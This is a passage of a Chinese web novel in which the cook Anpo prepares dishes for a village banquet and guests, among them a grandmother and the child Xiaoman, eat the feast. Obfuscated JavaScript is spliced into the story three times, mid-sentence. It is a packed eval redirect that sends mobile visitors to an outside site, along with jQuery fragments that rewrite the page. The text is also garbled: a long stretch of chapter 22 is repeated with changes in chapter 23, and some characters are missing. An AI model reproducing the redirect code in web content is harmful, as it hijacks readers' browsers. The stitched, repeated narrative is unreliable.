泡过水的梅干菜挤干净，直接扔进无油的锅里干炒。 滋滋滋—— 梅干菜在热气蒸腾的锅里滚了两三圈，菜里多余的水汽被炒出去。梅干菜干干带着脆响。 安珀捡出一块在指腹间捻了捻，梅干菜变成四分五裂的小碎块。 状态挺好。 安珀又一铲铲把梅干菜捞出来，清空大锅。 另外放上一大桶油，姜蒜沫沫先进去爆香。 刺啦刺啦，油包裹着姜蒜，把它俩的外皮炸到金黄。 蒜香慢悠悠从锅里飘出来，炒干的梅干菜一起倒进去和个均匀，然后盛出来分别抖到每个扣肉的碗里。 剩下的工作留给帮工，安珀在旁边又架了口锅。 菜籽油堪堪填满锅底。几块拍过的整姜，八角孜然花椒抓上一把，还有一整盆泡过水的干辣椒一起放进去。 白烟冒出，小油点四溅。呛咳刺人的辛辣藏在白雾里，一批接一批朝安珀扑来。 生理性泪水不自觉落下，安珀偏过头躲了躲。 帮工把豆瓣酱和辣妹子打开了，正哐哐往里倒。 安珀机械挥动锅铲，将酱料混合均匀。 渐渐的，呛人的时刻过去，香辣气占据上风，一团一团溢出后厨。 再炒要焦了，安珀估摸着配料的状态，赶紧往锅里倒上一盆水。 清水打着旋卷起一堆酱料，融合、同化。 等到水全部填满锅，里面成了火红色的一滩，弯刀型的干椒浮在水面，像是在畅泳。 卤货搬过来了，安珀随意捡起几块检查。 牛肚内层的油脂剪得干干净净，猪舌表层的白膜也去掉了。 牛腱子肉和这些东西一起放进去，安珀调好味，盖上了盖子，任卤味在锅里入味。 煮好还要一个多小时，安珀插个空准备去找安栗。 这糟心孩子今天怕是玩疯了，一天下来不见人影。 安珀以为要费上好一段时间才找得到她，没想到刚跑到小区的游乐区，就听到了电动轮椅狂飙的破空声。 一道黑影擦过安珀的腿边，撩起她额间的碎发。有道灰影紧追在后，兴奋发出汪汪声。 忽然，两道影子面前出现了几根路灯。 黑影一个急刹车，改变方向，蛇形走位绕过。灰影也想模仿前者的操作，无奈刹车系统失灵，逃脱不了惯性的作用，咕咚咕咚滚了几个圈，脑门砰地一声撞到路灯杆子上。 “啊啊啊啊。”黑影高兴举起手。 拳头握紧了又松开，安珀闭了闭眼，深吸口气。“安栗，电动轮椅不准飙车！！！” 嘎吱一声，电动轮椅刹停。 安栗转过头，高兴的表情凝固在脸上，五官没归位，看起来有些滑稽。 安珀三步并作两步拎起拖把，另一只手抓住电动轮椅的把手，将安栗往后厨拖。 一人一狗的命脉捏在安珀手里，大气不敢喘，只能翻出大部分眼白小心翼翼觑着安珀的脸色。 几个人到后厨的时候，卤味正好开了，咕嘟咕嘟顶着盖子。 热气从一角缝隙逃出，辣味和牛肉香聪明地混在里面，在空中飘啊飘，飘到了安栗和拖把的鼻子底下。 一人一狗眼睛双双一亮。 安栗咽咽口水，小心地翻出本子，轻轻在上面写上一行字。拖把的反应更为剧烈，狗的嗅觉本来就比人类灵敏，何况是老少通杀的卤味。 拖把四只小短腿乱蹬，安珀瞥了眼，干脆把它扔回安栗怀里。 重获自由，拖把做的第一件事不是跑，而是端正坐在安栗腿上，顶着脑门的大包，合起爪朝安珀拜拜。 与此同时，安栗举起本子。【姐，我想吃。】 一人一狗如出一辙的圆眼珠，眼巴巴看着安珀。恍惚间，安珀仿佛见到两只狗哈喇子流了一地，节奏一致朝她拜拜。 安珀勾起嘴角，声音诱惑：“想吃？” 一人一狗齐刷刷点头。 “没有。” 安栗和拖把顿时泄气，耳朵无力地耷拉。 没管她们，安珀径直走向大锅，掀开盖子。 辣卤味铺面而来，通红的卤汁在里头翻滚，卷起一坨又一坨的卤货。 安珀叉起一块牛肚，在边角割下小小的一块。 牛肚天生的褶皱使它藏了更多的卤汁，一入嘴，汁液爆出来，干椒的辣占据口腔。 □□弹弹的牛肚在牙关之间显现出充足的韧性。 嚼着嚼着，牛肚自身的纹理化成一丝丝落在嘴里。 安珀皱起眉，用力吸了口，才在牛肚最深层尝到一丝卤味。 还是时间不够。 安珀撤掉根柴，升腾有力的大火瞬间萎靡，只能时不时舔舐锅底。 她估摸了下时间，等火熄灭，卤货差不多就煮好了。再在锅里浸泡一晚…… 安珀舔了舔嘴巴，身后一人一狗做出同款动作。 她好笑推走安栗的轮椅。“别想了，明天吃。” “安茯苓呢？”安珀见拖把还蜷在安栗怀里，左右张望下。 奇了怪了，平常安茯苓最宝贝她的狗，怎么这个点还不来接狗？ 圆月隐藏在云层，遮住大半个身子，留下一小半光芒浅浅洒在三人组肩上。 【茯苓姐说：拖把归我了。】 借着一点点月光，安珀努力辨认上面的字迹。慢慢的，她的视线挪到拖把短圆肥的体型上。 或许是察觉到考量的目光，拖把噌地坐直，兔子尾巴扫出旋风，“嗯嗯嗯”地叫个不停。 安珀僵硬提起苹果肌，呵呵，她好像有点不认识这狗了。 “狗不准进店里。” 安珀死守最后一条线。 安栗的“嗯嗯”答得很快，其中夹杂了几声更腻歪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734487|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯嗯嗯”。 简直是，谄媚到不像话。 安珀：…… 次日，安珀把安栗从床上捞起来，骑着小三轮突突突赶向后厨。 来的第一时间，安珀先查看她的卤味。 掀开盖，卤味霸道的香气收敛不少，卤味静静地躺在锅底。它的表皮甚至内里已经失去了原本的颜色，腌成了偏红的褐色。 再割出一小块试试，舌尖触到预想的味道，安珀满意地捞出所有卤味，放到滤盘上控干水分。 昨天的备菜工作做完了。安珀瞧了眼时间，还早，她索性坐下来和帮工一起切卤味。 牛肚斜切，褶皱那面占据的面积更大。猪舌和牛腱子肉切成刀片厚度的薄片。 唰唰唰—— 刀片飞快闪过，薄如蝉翼的肉片一堆堆跌进盆里，成了肉片山。 安珀觉得就算她厨艺不好，也能凭借这一手刀工在兰州拉面混得如鱼得水。 节奏一致的白噪音充斥后厨，厨房的人忘我投入，压根感受不到外头的热闹。 外面， 安茯苓扭了扭手腕，难得叹出一口长气。 总算过去了一波。 她随意翻了翻礼薄，好看的野生眉蹙起。村里人发了？怎么随五百？ 这种搬家宴，同村的人一般给个300差不多了。哪里会无缘无故涨200，钱又不是大风刮来的。 没等她想出个所以然来，又一大波人拖家带口来上礼。 “随五百。” “哎呀，卢老哥，你也来了。昨天我吃的那顿比酒店还好吃，这不，特地带我家三胞胎来试试。” “巧了，我家老婆子昨天没吃到。想着干脆不做饭了，一家子来吃点好的。” 类似的话不断在安茯苓面前上演，她看着后面源源不断涌上来的人群，像被前锋喊出来，扎堆搬食物的蚁群。 灵光一闪，安茯苓脑瓜子磕磕巴巴冒出个想法。 这些人，不会是特地来加钱吃饭的吧？ 她家的菜够吗？ 趁着人流低谷，安茯苓插空给安珀去了个电话，将这边的情况讲清楚。 “小事，我多准备了一倍。再翻个台都有得吃。”头侧夹着手机，安珀把卤味切毁的边角料往锅里抖。 呲呲呲，隐藏在肉里的辣卤香瞬间激发出来。 安珀搅几下，让油彻底裹透卤货，边缘炸得焦焦透透。 卤货本来是熟的，在锅里炒热调个味就盛到盘子了。 金黄的油落在素盘子，上面是热气腾腾的碎碎肉，边上围了一圈牛肚、猪舌、牛腱子片，再来上一朵花做装饰。 卤水拼盘完成。 安珀装肉，其他帮工摆切好的卤味。一抖、一摆，俨然一个高速运转的流水线。 没一会，席上的第一道菜完成。 舀起一瓢水，安珀把锅刷了刷，接着赶下一道菜。 甲鱼斩成刚好入口的小块。焯好水，再一点一点把上面附着的黄油揪掉。 倒入稍稍铺满锅底的油，姜和五花肉加进去爆香。 滋啦滋啦的，锅边缘泛起小泡泡。锅里的温度慢慢升高，五花肉最终忍受不了高温，躺平析出油脂。白厚的肉片变得透明，边缘焦黄向内卷。 空气中逐渐弥漫出猪油的香味。 安珀趁机倒了一罐辣妹子，熬个酱。 慢慢的，辣味和猪油融为一体，锅里飘出辣油的味道，香菇正好扔进去炒软。 配料下得差不多了，甲鱼块正好放进去入味。 袅袅的白雾往上飘，河鲜味混着辣味流出，昭示着几个菜初步融合。 安珀下入一把大蒜压压甲鱼的腥味。 又往里头浇了一瓶啤酒，几勺高汤，彻底把甲鱼的鲜引出来。 汤汁清澈透明，咕嘟咕嘟了无数圈，终于转变成了奶白色，仅仅在表层漂浮了一些金黄色的油脂。 鲜味肆无忌惮跑出去，在小区广场上耀武扬威。 嘈杂的人群忽然静了一瞬，紧接着所有人的目光不约而同放到刚摆好的桌椅上。 人群互相看看，不知是谁破坏了平衡，所有人一窝蜂冲上去占据椅子。 “快点，刚出锅肯定是最好吃的。” “没错。坐下一轮菜都冷了，味道肯定不对。” “好香，到底什么时候开饭。” 兵荒马乱个几分钟，刚刚还空旷的圆桌霎时坐得满满当当。留下没抢到头轮的客人，站在边缘眼巴巴看着他们屁股底下的座位。 22. 第 22 章 抢桌大战爆发的时间，安珀的红烧甲鱼已经进入了收汁阶段。 大火露出獠牙不断烫着锅底，甲鱼的汤汁浓缩了一半，偏棕色在锅里翻滚。 安珀嫌火不够大，又往里面添了一把柴。 火势瞬间增大，汤汁翻滚得愈发剧烈。 在汤汁又下降一圈后，安珀终于大发慈悲撤掉火，在甲鱼表面撒上一层青红椒圈。 亮色的青红椒圈穿插其中，颤颤软糯的甲鱼裙边，紧实入味的甲鱼瘦肉，还有浓郁黏稠的汤汁，统统舀进干锅里，冒出个甲鱼小尖尖。 待会上桌的时候在下面点个酒精灯，汤汁滋滋冒着小泡，勾人留口水的河鲜味飘出来，恨不得嗦一口吐一桌骨头。 安珀给所有食客创了一个美好的梦，有人匆匆闯进来把梦打碎。 “安珀，不……不好了。”安茯苓气喘吁吁撑住膝盖，不断咽口水安抚干涸的嗓子。“桌子不够了。” “茯苓，我多准备了一倍。”安珀轻松自在。慌什么，一切尽在她的掌握中。 “不是，不是。”安茯苓拼命摇头。“刚才又来了几波人上礼。我点了点人数，翻台的桌不够。我爸问你，第三轮的菜准备了吗？临时去买行不行？” 安珀不信邪，从缝隙里看了看。人头密密麻麻挤在棚子两边，中间的桌子同样坐满了人。 眼前一黑又一黑，安珀感觉到好像有什么从她手中溜出去了。 她深吸几口气，让自己镇定下来。 “茯苓，你再去点一点，到底还要几桌。”一两桌她还能想方设法凑出点菜。 干等着也不是办法，安珀索性把收尾的笋子炒了，免得待会忙不过来。 笋子泡发挤掉多余的水分，唰地倒进油锅。 底下多加几根木柴，火势开到最大。 滋滋滋，笋子里的水挤出来，变成白色的水渍围在锅边，被大火一烫，瞬间消失得无影无踪。 不急着翻炒，安珀先把配色的大红椒丝和芹菜丝扔进去，再一起和均匀。 刺啦刺啦几下，水蒸气噗噗向上冒，笋子变得脆脆的。 出锅。 红椒和翠绿的芹菜丝点缀在笋子中，笋子幽幽飘出特有的笋子味，期间隐隐约约夹着点铁锈味。 热气腾腾的锅气钻入鼻尖，配上清清爽爽的笋子视觉，简直是解油腻的一把好手。 安珀的大厨体验暂时结束，安茯苓数完人也回来了。 “桌子不够。我爸让帮忙的人最后一趟吃，再加上后面来的那一拨，还有个五六桌的样子。” 算盘落空，安珀的备用方案被推翻，她只能重新想办法。 忽然，案板上码好的一碗碗鸡肉跃入安珀视野，她一拍掌心。 “有了。” “前面的菜照常上，第三轮翻台我们吃点不一样的。” 安珀神神秘秘的，不肯多透露。边上的安茯苓云里雾里，傻傻露出黑人问号脸。 * 鞭炮炸开，抢到第一桌的客人吃上饭了。 打荷的穿梭其中，一道道精心烹饪的菜被端上桌。 小满奶奶正好坐在上菜的边缘，第一道卤水拼盘的辣卤味隔着老远，强势钻入鼻腔。 味道特别正，她再一次庆幸说动小满来了。 小满奶奶先夹了块金钱肚。 金钱肚被片得薄薄的，完全不存在嚼不烂的问题。 浓郁的卤汁躲在金钱肚自带的小孔，咬一口，流出一点汁。 辣味融入得恰到好处，微微勾起人的食欲。花椒的麻很少，只会挑一些吃得正欢的时刻出来蹦跶。不讨厌，反而有些惊喜。 啊，原来里面放了点花椒。 麻到我了。咦，舌头吃辣好像也不敏感了。 吃完金钱肚，小满奶奶再夹了块猪舌和牛腱子。 相比于金钱肚，猪舌的口感更加软糯绵密，卤汁味全部浸到猪舌的每个细胞。 牛腱子肉不柴，但吃起来不像是原装的腱子肉。 有点像……像，小满奶奶想了一会，像是一整坨牛肉包了点牛油进去，捆成一团卤制而成。 外层劲道弹牙，里面丰润醇厚，卤汁味混着牛油化开，舌尖的味蕾时不时能品尝到牛肉的奶香。 小满奶奶试探夹了片牛腱子递到小满跟前。“和营养粉的味道一样，小满试试。” 小满鼻尖嗅了嗅，撇开头。“不一样。” 飘香的牛腱子又进了小满奶奶的嘴，她叹口气，希望今天有全家福。 吸引法则生效，全家福端到了桌上。 小满奶奶拿出准备好的碗和汤勺，给小满打了冒尖的一碗。 打完后，她又怕小满吃不够。思来想去，她扯开两个一次性杯，给小满添了点。 一来二去，碗里的全家福去了三分之一。 不过后面陆续上来的菜都是重口味，适合吃辣的人。全家福这种偏寡淡的菜，反而没什么人在意。 “吃吧。” 小满奶奶给了小满一个勺子，让她自己来。 鲜甜咸的味道轮番在鼻尖勾勾手指，小满记起了昨天的味道。她吨吨吨将营养粉喝完，抓起勺子小小舀了点汤。 热气源源不断扑向嘴唇，小满嘟起嘴呼了呼，清澈的汤漾起一圈圈波澜。 小满张大嘴，一口将波澜塞进去。 比营养粉更有滋味的汤激发了舌尖细胞，小满一口接一口，吃得脚在桌底下直蹬蹬。 忽然，一块煮断的火腿肠片溜进嘴里，舌尖立马感觉到了不一样。 小满咬着勺子，眼珠子溜圆，呆呆坐着不知怎么处理。 “怎么了？”小满奶奶立马察觉到她的异样。 小满指着碗，奶声奶气。“吃到别的了。” 小满奶奶赶紧抽出个一次性杯，“吐出来。” 小满摇摇头，咕咚一声，张开嘴。“滑滑的，进去了。” “你这孩子。”小满奶奶哭笑不得。“还吃吗？” “要。”小满点点头，挥舞着勺子在碗里挑来挑去。吃到合适的咬断吞进肚，不合适的就咬断放进碗里。 吃着吃着，碗里的菜渣被她探索个遍。碗里全是缺个口，或者是印上米粒牙印的菜。尤其是香菇，简直是牙印的重灾区。 小满奶奶余光注意着这边，见小满适应良好，便不插手了。 她喜欢吃的甲鱼上来了。 小满奶奶喜欢吃甲鱼，但不喜欢吃蒸的甲鱼。蒸制的做法会在表层撒上大量的胡椒粉，呛得她喷嚏一个接一个。红烧甲鱼正中她下怀。 打火机点燃干锅下的酒精，包装的塑料袋刺啦刺啦蜷缩成黑团，干锅的锅边也开始滋啦滋啦。 汤汁沸腾，在锅边留下一层棕色的痕迹。 小满奶奶挑了一个带裙边的硬壳。 裙边厚实，肉质接近透明，在筷子间DuangDuang地颤动，浓郁的汁液滴滴答答下落。 小满奶奶一口嗦。 裙边瞬间与硬壳脱离，肉质软烂，含着浓厚的胶原蛋白。 不用怎么嚼，裙边立刻化为一滩水滑入喉咙。 筷子调转个方向，小满奶奶又嗦了嗦甲鱼壳。 汁液黏黏糊糊，刚好把甲鱼壳裹了遍。舌头一嗦，汁液乖乖跑下来。 回甘的辣，炖到软烂的蒜味，还有甲鱼的水鲜味全留在了汤里。 鲜得像是在雨后的小溪里游了一圈。 小满奶奶没吃够，想再夹一块回味回味。可裙边这种好东西，一个甲鱼也就那么点，怎么可能留在锅里等你。 筷子扑个空，小满奶奶退而求其次选了块甲鱼肉。 甲鱼肉外表看起来紧实包成一团，实际上内里松散得很。筷子稍微用点力，甲鱼肉立马耙成一个饼，肉丝丝顺着纹理炸开。 小满奶奶毫不费劲就从骨头上撕下一条肉。 甲鱼肉有点像是清水煮过的大骨肉。不过换了红烧的做法，味道更加的复杂多变，汤汁也更适合下饭。 唉！ 嚼了嚼，小满奶奶惊奇地发现甲鱼肉竟然不嵌牙缝，她又可以多吃几块了。 她高兴地在桌下抖腿，动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734488|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作和一个凳子上的小满如出一辙。 吃了几块甲鱼，桌上的菜也上齐了。 小满奶奶像是掉进米缸的老鼠，一筷子接一筷子，一张嘴根本忙不过来。 一口肥而不腻的扣肉五花，底下的梅干菜正好吸收了五花肉的油脂，变得油润润的，拌进饭里米粒也变得油亮。 吃腻了梅菜扣肉的组合，来上一口炒笋丝。笋丝清爽，稍微有点麻嘴，油腻瞬间被冲刷掉，一口带她回到春天。 一双筷子在不同的菜碗轮换，饭添了又添，肚子终于受不了突出来。 “嗝~嗝~嗝。” 连着打了几个嗝，小满奶奶不舍放下筷子。 不能再吃，年级上来了，吃多了不消化。 “小满，吃完了吗？”她伸手摸摸小满的同款鼓肚子。 “饱饱的。”小满拍拍肚子，里头发出晃荡的水声。“吃不完。” 小满眼珠子黏在两个塑料杯上，里面是她没吃完的全家福。 小手豪气一挥，她奶声奶气命令道：“奶奶打包。” 带走、带走，全部带走。 小满奶奶噗嗤笑出来。这么一个小不点，竟然还护上食了。 “奶奶给你带走。”想吃东西，她哪有不从的。 两个塑料杯裹得严严实实塞进小满怀里。她转着头，视线在大棚内梭巡。 桌子空了一大半，可惜的是桌上的菜也一扫而光，剩了一堆空盆。 余下的客人呼噜呼噜扒饭，碗里的菜以肉眼可见的速度消失。 显然，他们自己都吃不够，怎么会有多的给小满。 小满奶奶多打包点回去吃的愿望落空。 忽然，她的目光落在大棚边缘的女人堆里。一群人嗑瓜子抖腿，时而放声大笑，时而神秘凑到一堆，声音时大时小。 大棚里就她们最吵。 身穿花绵绸的女人显然是这群人的中心。 小满奶奶皱皱眉，费力想了想。她记得这人好像叫……叫曹大嘴。 之前在背后嘴她家小满是没福气的命，她还和曹大嘴吵了一架。 什么事都能被她从犄角旮旯翻出来，想来应该会知道厨师的信息。 待会她就找一趟曹大嘴，无论如何都要让厨师放弃坐席，专门给她家小满做饭。 肉墩墩的小满可全靠这厨师了。 第一轮席散得七七八八，帮工忙着把桌子收拾赶紧，重新上一轮菜。安珀也没闲着，带着安茯苓将鸡肉碗上的辣椒抖得七七八八。 “这样真行？”安茯苓忐忐忑忑，心脏快跳到嗓子眼。 虽然她不知道安珀准备做什么，但鸡肉碗是晚上吃的。倒掉上面的料，岂不是拆东墙补西墙，晚上怎么办？ 如果安珀是安茯苓肚子里蛔虫，知道她的想法后，一定会狠狠夸赞一番。不愧是好朋友，想到一块去了。 不过，只想对了一半。 安珀把鸡肉碗分别倒在两个高压锅，水加到和锅面持平，盖上盖子，任由它在大火上嗤嗤嗤。 全家福的料还剩不少，安珀从碗筷堆里翻出比巴掌稍微大点点的碟子。 肉丸、鱿鱼花、瘦肉、蛋卷……分开码在小碟子里。 准备晚上炒的空心菜揪成两半，也码好。 安珀从每个碗里捡出一片扣肉，拼拼凑凑也弄出了五六碗扣肉。就是有点对不住秦婶，明明答应挑个肥的卖给她。 下次店里做梅干菜扣肉，再给她送过去好了。 一桌菜拼凑得差不多，安珀取出个不锈钢盆。 青红辣椒圈刮进盆里，满满地铺了一个底，蒜末也搞里头。一勺老抽，生抽拿瓶倒，咕咚咕咚浇了几圈。 安珀满鼻子是生抽的甜酱味。 香油来上好几勺，再用清水将酱料冲散，安大厨牌秘制酱料完成。 旁边的安茯苓忍不住凑上来，小狗似地耸耸鼻子。“好香啊！安珀。这是用来蘸什么的？” 食指竖在嘴中央，安珀吐出两个字。“保密。” 接下来，只要等鸡肉熬好了！ 23. 第 23 章 小满奶奶没吃够，想再夹一块回味回味。可裙边这种好东西，一个甲鱼也就那么点，怎么可能留在锅里等你。 筷子扑个空，小满奶奶退而求其次选了块甲鱼肉。 甲鱼肉外表看起来紧实包成一团，实际上内里松散得很。筷子稍微用点力，甲鱼肉立马耙成一个饼，肉丝丝顺着纹理炸开。 小满奶奶毫不费劲就从骨头上撕下一条肉。 甲鱼肉有点像是清水煮过的大骨肉。不过换了红烧的做法，味道更加的复杂多变，汤汁也更适合下饭。 唉！ 嚼了嚼，小满奶奶惊奇地发现甲鱼肉竟然不嵌牙缝，她又可以多吃几块了。 她高兴地在桌下抖腿，动作和一个凳子上的小满如出一辙。 吃了几块甲鱼，桌上的菜也上齐了。 小满奶奶像是掉进米缸的老鼠，一筷子接一筷子，一张嘴根本忙不过来。 一口肥而不腻的扣肉五花，底下的梅干菜正好吸收了五花肉的油脂，变得油润润的，拌进饭里米粒也变得油亮。 吃腻了梅菜扣肉的组合，来上一口炒笋丝。笋丝清爽，稍微有点麻嘴，油腻瞬间被冲刷掉，一口带她回到春天。 一双筷子在不同的菜碗轮换，饭添了又添，肚子终于受不了突出来。 “嗝~嗝~嗝。” 连着打了几个嗝，小满奶奶不舍放下筷子。 不能再吃，年级上来了，吃多了不消化。 “小满，吃完了吗？”她伸手摸摸小满的同款鼓肚子。 “饱饱的。”小满拍拍肚子，里头发出晃荡的水声。“吃不完。” 小满眼珠子黏在两个塑料杯上，里面是她没吃完的全家福。 小手豪气一挥，她奶声奶气命令道：“奶奶打包。” 带走、带走，全部带走。 小满奶奶噗嗤笑出来。小不点一个，竟然护上食了。 “奶奶给你带走。”想吃东西，她哪有不从的。 两个塑料杯裹得严严实实塞进小满怀里。她转着头，视线在大棚内梭巡。 桌子空了一大半，可惜的是桌上的菜也一扫而光，剩了一堆空盆。 余下的客人呼噜呼噜扒饭，碗里的菜以肉眼可见的速度消失。 他们自己都吃不够，怎么会有多的给小满。 小满奶奶多打包点回去吃的愿望落空。 慢慢的，她的目光穿过嘈杂人群，落在远处的后厨。透过围栏的缝隙，小满奶奶盯上了里头忙成陀螺的安珀。 这小女孩挺好的，昨天她去弄点全家福，桶里没有，小女孩还特地把自己桌上的打包给她。 等这女孩不忙了，她得上门去请回家，哪怕一天只做一顿，也比小满纯靠营养粉续命要好。 钱不是问题，肉墩墩的小满可全靠这女孩了。 第一轮席散得七七八八，帮工忙着把桌子收拾赶紧，重新上一轮菜。安珀也没闲着，带着安茯苓淘洗鱼内脏。 整鱼蒸好已经上桌了，鱼内脏是掏出来的垃圾，一般会留给村里人喂狗。 这种东西又腥又臭，端给客人吃不会被打吗？ “呕——yue——” 指节间是冰冷滑溜溜的感觉，内脏分泌出来黏腻的□□正裹在手上，拉出一长条，要掉不掉。腥味扑鼻，安茯苓这双手都不想要了。 不该盲目跟团安珀。 早知道应该先戴个手套或者口罩。手和鼻子总该拯救一个。 噩梦的时刻终于过去了，安茯苓看着清爽不少的鱼内脏，扭了扭酸疼的脖子，僵起一张脸问：“这样真行？” 安珀喜滋滋抖干鱼内脏的水。“放心，包在我身上。” 嘴唇蠕动又闭紧，安茯苓最终什么也没说，担忧的目光落在鱼内脏上。 安珀一巴掌打碎她的担忧。“别愣着，快来帮忙。” 安茯苓认命跟上，旁边跟着几个抓壮丁来的帮工。 鱼籽斩成几截的大块，鱼泡戳个小口，放出里面的气体。 咚咚咚—— 外面吃得热闹喧哗，里面的节奏感极强。 几把刀同时开工，鱼内脏最后的处理工作很快完成了。 内脏放料酒焯水去个腥，多的几盘蒸鱼拿过来，抖掉上面的葱丝，倒进锅里煎。 滋啦滋啦 宽油迅速涌上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755466|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，鱼边开始变焦，鱼尾卷起一个僵硬的弧度。 姜蒜末，泡椒、剁椒还有提升辣度的黄灯笼椒散在油里，炒均匀。 香香的辣味从锅里飘出来，和着炸鱼的香气。 紧实团成一团的鱼籽鱼泡加进去，不动，就这么煎一会。 鱼的味道越来越浓郁。 大量的开水沏入，清水卷起鱼的脂肪，瞬间带出金黄的一层浮在水面。安珀顺手添了几根柴，让火烧得更旺一点。 咕嘟咕嘟 滚着滚着，金黄被卷入，再出来成了醇厚的奶白色。 香气浓郁的紫苏铺上满满一层，再来上一层青辣椒圈，一点增香的胡椒粉，奶白色一卷，配菜立马被烫熟。 紫苏奇异的香气特别适合配鱼。在它的衬托下鱼的腥变成了勾人的鲜，引得人不停地咽口水。 咕咚咕咚 安茯苓凑上来，眼巴巴看着奶白色的汤。 真是奇了怪了，臭到扔进垃圾桶的废物，在锅里煮了会，居然成了香到不行的汤。 她怎么觉着闻起来比鱼汤还鲜呢？ 安茯苓不自觉把心里话问出来。 旁边的帮工哈哈大笑。 “安茯苓，你没吃过鱼籽鱼泡，大惊小怪。” “我家买鱼都要交代杀鱼的别把鱼籽鱼泡扔了。放进鱼汤一起煮，那叫一个香嘞！菜上桌，我家两个小子别的不吃，先把鱼籽鱼泡挑出来。” “哎呦，好肉不吃，专吃点边角料。鱼籽鱼泡送我都不要。” 这东西的风评简直是两极分化。喜欢的人翻遍碗里只为了找出一块，讨厌的人碰到一块恨不得换双筷子。 “还是安珀脑子转得快，把废料的鱼籽鱼泡做成汤了。一大锅鱼杂，席上的菜有了，我的嘴也有福了。” “哎，安珀。你这汤是不是打算打火锅啊？” 几双眼睛齐刷刷望向安珀，她瞬间成为世界中心。 安珀但笑不语，只是翻出些比巴掌稍微大点点的碟子，一味地在碟子里码肉丸、鱿鱼花、瘦肉、蛋卷…… 准备晚上炒的空心菜揪成两半，也码好。 鱼杂火锅齐活！ 24. 第 24 章 忙活了整整一上午，终于轮到安珀他们吃饭了。 连着翻了三轮台，别说帮工们，就连安珀这种长期站在灶台前的人都有点撑不住。 她长长吁了口气，立马上前搭把手收拾桌子。 鱼杂火锅放在中间，边上围了一圈打火锅的配菜，还有安珀偷工减料夹出来的扣肉。这碗一片，那碗一片，硬生生凑了几碗扣肉出来，搁在桌上。 就是对不住秦婶，答应她偏肥的扣肉泡汤了。只能等下次店里炸扣肉的时候再给她送过去。 菜上得整整齐齐，人也到的差不多了。 屁股刚沾到板凳，筷子紧接着跟了上去，从金黄的汤里夹了块紧实的鱼籽。 “和前两轮的菜不一样？想了好久的甲鱼，怎么变成鱼籽了？边角料端上来，寒碜谁呢？” “安建宏看着板板正正，办个席抠抠搜搜。平常没看出他是这种人。” “真是不知道他给我妈灌了什么迷魂汤，把席上的菜吹得天花乱坠，非要我回来试试，浪费我时间。” “就这？”那人扬起筷子对光仔细瞧了会，轻蔑一笑，腕骨推了推，鱼籽骨碌碌在桌上滚了一圈。“我花两百喂狗，菜都比这要好。” 旁边伸过来一双筷子，夹起鱼籽往上一扔，嘴像接欢乐豆一样张开。 咔吱—— 牙关顺势合上，鱼籽落在中间，q弹松散，瞬间冒出浓郁的鱼汁。 “浪费。鱼籽鱼泡多好的东西，平日里想买买不到，这下可以吃个够了。主家诚意多足啊！被你贬得一文不值。臭小子从小到大一个样，眼瞎。” 说话的赫然是昨天偷喝酒的李老头，他一口接一口朝嘴里塞鱼籽，边嚼筷子边含糊不清点点他儿子。 李老头儿子唇瓣动动，不经意间瞥到他爸嘴角的青紫，又合上了嘴。 算了，两百买他爸过足嘴瘾也成。 几个配菜碟里挑挑拣拣，他夹了片蛋卷放进鱼杂火锅煮。 金黄的鱼汤咕嘟咕嘟，鱼鲜味盘旋飘上去。左一下、右一下，骤然钻入他鼻腔。 紫苏的香气，带点辣辣的底味。在饭顶浇上满满一勺，滚烫顺滑的鱼汤连着饭嗦上一口，浓郁的鱼香一暖到胃。 不用说，泡饭绝了！ 咕咚，喉结上下滚动。 李老头儿子思维不断发散，瞥到一堆小碟子，多余的心思瞬间收起。 哼，弄一堆剩菜摆在桌上撑场面，当他看不出是全家福里的料？他上小学开始就不吃这种小孩子菜了。 鱼汤滚得更加剧烈，有人伸出手调了一下酒精灯。声音变小，嗅觉愈发明显。 平平无奇的蛋卷在汤里游了一圈，热源将它本身的气味激发出来，还浸了点鱼鲜进去。 蛋卷的香气闻起来似乎比在全家福里更加丰富。 喉咙不自觉吞咽好几下，鬼使神差间，筷子捞起那片蛋卷，径直往嘴里送。 等李老头儿子回过神，蛋卷已经在齿间碎成一团渣渣。 蛋皮轻薄，肉馅丝滑，鱼汤侵入每个小孔，在口里爆发出河鲜的底味。 吃着吃着，皱成一团的眉头自然放松。 李老头儿子又下了点其他全家福小料下去，牛肚和牛腱子也扔到火锅里进行再加工。等待的时间，他也没打算让嘴闲着。 一勺鱼汤浇透米饭，没注意舀了块鱼泡堆在饭顶。 筷子在碗边划来划去，就是没碰到中间的鱼泡。李老头儿子扭过头，“爸，你要不要……” 李老头完全没听到，专注在火锅里找来找去，嘴巴嘀嘀咕咕。 